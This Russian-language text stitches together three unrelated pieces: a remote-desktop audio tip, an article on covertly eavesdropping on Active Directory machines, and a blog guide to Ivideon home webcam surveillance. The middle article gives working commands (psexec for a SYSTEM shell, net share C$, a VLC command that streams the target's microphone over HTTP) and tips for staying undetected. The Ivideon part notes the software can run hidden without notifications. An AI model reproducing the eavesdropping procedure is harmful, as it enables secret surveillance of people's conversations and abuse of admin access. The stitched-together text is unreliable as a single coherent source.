1. Подключитесь к удаленному компьютеру в режиме «Полное Управление»(Full Control).
2. Запустите на удаленном ПК аудио или видеофайл, по умолчанию звук передаваться не будет. Для того, чтобы услышать звук с удаленного ПК, запустите Голосовой Чат, и на удаленном компьютере включите микрофон путем нажатия иконки с микрофоном.
3. Зайдите в настройки звуковой карты и выберите следующие опции настроек аудиовхода: Options->Properties-> Primary Audio Input->Stereo Mix.
Часто выходит так, что значительное количество пользователей в домене организации имеют права локальных админов (технические специалисты, программисты и другие). Но последствия от этого колоссальны. В данной статье мы рассмотрим как можно подслушивать звуки (разговоры, переговоры) на удаленных машинах.
Необходимо иметь
- Пользователя в AD с правами локальных админов (или просто знать пароль от локальных админов)
- Аппаратное средство захвата звука (микрофон) на целевой машине. Наиболее удобный случай — целевая машина является ноутбуком, там встроенный микрофон (и камера :D). Так же нам повезло, если на удаленной машине используется веб-камера или наушники с микрофоном. В противном случае часто можно и самому воткнуть микрофон без палева.
- Программа захвата и передачи мультимедиа по сети. Будем использовать плеер vlc — www.videolan.org/vlc .
- Программа удаленного запуска процессов. Воспользуется psexec из набора PsTools — technet.microsoft.com/ru-ru/sysinternals/bb896649.aspx . Великолепно подходит для AD, правда для ее использования как раз и надо иметь права локального админа на целевой машине. Примечательно, что запущенные процессы исполняются от имени SYSTEM (!).
Практика
- Для начала нам нужно закинуть дистрибутив vlc на удаленную машину. Это можно сделать воспользовавшись системными общеми ресурсами типа C$, D$… то есть \targetC$. Если общих ресурсов не открыто (значит специально закрыли), то можно будет открыть общий сетевой ресурс при помощи PsExec командой вида:
net share C$=C:
Символ $ на конце означает что сетевой ресурс не будет отображаться в списке открытых сетевых ресурсов компьютера по умолчанию. И так, тривиальным образом закидываем дистрибутив vlc на удаленную машину. - Далее, для запуска vlc нам нужен cmd от удаленной машины. Воспользуемся PsExec, выполнив команду типа:
psexec.exe \target cmd
Соответственно мы получим cmd от целевой машины. Окна запущенных программ не будут отображаться на ней (будут, если использовать ключ -i у PsExec). Кстати, PsExec умеет заливать запускаемый файл на удаленную машину, если указать ключ -c. Идем в папку с дистрибутивом vlc. - Теперь самое интересное: запуск vlc с необходимыми параметрами. Для определения параметров командной строки для запуска vlc, мы запустим его у себя, выставим необходимые настройки и посмотрим что за команда получилась. Запускаем vlc, нажимаем медиа -> потоковое вещание. Вкладка «Устройство захвата». Видео устройство поставим на «нет» для избежания лишних ошибок в случае отсутствия камеры и обнаружения нас, в случае если на камере загорится лампочка. Ставим галочку в низу «дополнительные параметры» и смотрим параметры командрой строки.
Берем от туда "dshow://" (то есть источник — устройства захвата) и " :dshow-vdev=none :dshow-adev= :dshow-caching=200" (то есть, видео устройство — нет; аудио устройство — по умолчанию; кэширование — 200 мс.). Теперь надо настроить вещание нашего мультимедиа, ждем «Поток». В пути назначения добавляем желаемые пути. Я выбрал http с портом 8080, то есть на целевой машине поднимается веб-сервер, с которого можно слушать. Предпочтительнее, конечно, выбирать вещание на нашу машину (или не нашу, от куда перенаправлять при помощи netcat). Уберем галку «включить перекодирование». Перейдем во вкладку параметры и скопируем получившиеся настройки.
У меня это ":sout=#http,dst=:8080/> :no-sout-rtp-sap :no-sout-standard-sap :sout-keep"- Таким образом, команда запуска vlc на удаленной машине принимает вид:
vlc.exe dshow:// :dshow-vdev=none :dshow-adev= :dshow-caching=200 :sout=#transcode:http,dst=:8080/> :no-sout-rtp-sap :no-sout-standard-sap :sout-keep
Можем запускать. Если все хорошо, то целевая машина уже ожидает нашего соединения на порту 8080. - Запускаем наш vlc на нашей машине, с которой будем слушать. Если подключение к веб серверу, то запустить можно с такими аргументами:
vlc.exe http:// target:8080 (без пробела после http://)
Если идет вещание на наш компьютер (например по udp на порт 1234), то запустить vlc следует так:
vlc.exe udp://@:1234 - Если все путем, то слушаем
Заключения
Очень важно минимизировать привилегии пользователей AD.
PsExec работает через общедоступный ресурс admin$, но его закрытия могут негативно повлиять на работу в AD. Как точно, не гуглил, но мало ли.
С некоторыми модификациями способ прокатит не только в AD.
Как-то, понадобилось мне организовать видеонаблюдение за своей квартирой, используя только подключенный к Интернету ноутбук с веб-камерой и смартфон. Необходимо было с помощью смартфона или браузера другого компьютера просто подключится к веб-камере, для наблюдения за происходящим в квартире.
Задача показалась мне не сложной и для начала я попробовал использовать программу по удаленному управлению операционной системы, чтобы включить веб-камеру ноутбука через Интернет.
Протестировав несколько программ по удаленному администрированию, я пришел к выводу, что они не совсем годятся при работе со смартфоном, так как приходится совершать слишком много нажатий на экран, для включения веб-камеры ноутбука, не говоря уже об отсутствии у некоторых программ версий под Android.
Для чего необходимо видеонаблюдение? На этот вопрос, все отвечают по-разному, кто-то наблюдает за больными родителями, детьми оставшимися дома одни, питомцами, а кто-то волнуется за сохранность имущества, квартиры, дома или дачи.
Решение задачи нашлось в Интернет, где я наткнулся, на сайт «Облачное видеонаблюдение через интернет от компании Ivideon«. Ознакомившись со много обещающей информацией на сайте, я легко и просто организовал для себя бесплатное удаленное видеонаблюдение с кучей дополнительных возможностей.
И вот теперь, я хочу поделится с вами, как шаг за шагом, зарегистрировать, установить и настроить программу для удаленного видеонаблюдения через Интернет.
1. Перейдите на сайт Ivideon и нажмите кнопку “Регистрация”.
2. Введите свой почтовый адрес и пароль, который необходимо придумать и запомнить, а затем установите птичку “Я принимаю” и нажмите кнопку “Зарегистрироваться”.
3. Сразу после регистрации вы попадете в свой аккаунт на сайте, где нажмите кнопку “ПОДКЛЮЧИТЬ КАМЕРУ ИЛИ DVR”, затем следуйте за мастером подключения камеры.
4. В диалоговом окне “Подключение камеры” выберите, щелкнув на “Встроенная или внешняя веб-камера” затем “Продолжить”, как только вы нажмете “Скачать для Windows”, откроется диалоговое окно для сохранения Ivideon Server (текущая версия файла IvideonServer_3.6.1_win32_setup.exe), нажмите кнопку “Сохранить”.
В зависимости от настроек браузера, файл может начать загружаться автоматически в папку по умолчанию!
1. Запустите установку программы Ivideon Server, щелкнув на загруженном файле IvideonServer_3.6.1_win32_setup.exe. Пройдите все этапы установки как на скриншотах, по окончании запуститься “Мастер настройки Ivideon Server”.
2. Пройдите все этапы настройки, просто нажимая кнопку “Далее” как показано на скриншотах. В окне Учетная запись Ivideon введите почтовый адрес, используемый вами при регистрации. Обратите особое внимание на устройства (веб-камеры), которые были обнаружены автоматически.
Вы всегда можете изменить все опции в настройках программы Ivideon Server, предварительно остановив её. Кстати программа может работать в скрытом режиме, без значка и уведомлений!
5. Нажав кнопку “Завершить” запустится программа Ivideon Server и откроется страница браузера “Вход в личный кабинет”. Если понадобится введите почтовый адрес и пароль, который вы указывали при регистрации на сайте.
Войдя в личный кабинет, вы обнаружите в разделе “Камеры” те устройства, которые были обнаружены автоматически при установке программы. Если программа Ivideon Server запущена (значок в панели задач зеленый), то в личном кабинете и на смартфоне вы увидите текущую видеотрансляцию онлайн.
Очень много различных опций по управлению и настройки веб-камеры в личном кабинете на сайте, которые могут оказаться полезными и востребованными.
Для установки приложения на смартфоне запустите Play Market, затем в поисковую строку введите “Видеонаблюдение Ivideon” и нажмите поиск.
Установите приложение, затем щелкните на иконке Ivideon, появившийся после установки на смартфоне, затем нажмите кнопку «Войти» и введите почтовый адрес и пароль установленный при регистрации и ещё раз нажмите кнопку «Войти».
Теперь Вы можете спокойно вести видеонаблюдение на вашем смартфоне. Все вопросы и проблемы возникающие у вас, можно разрешить воспользовавшись Центром помощи Ivideon.
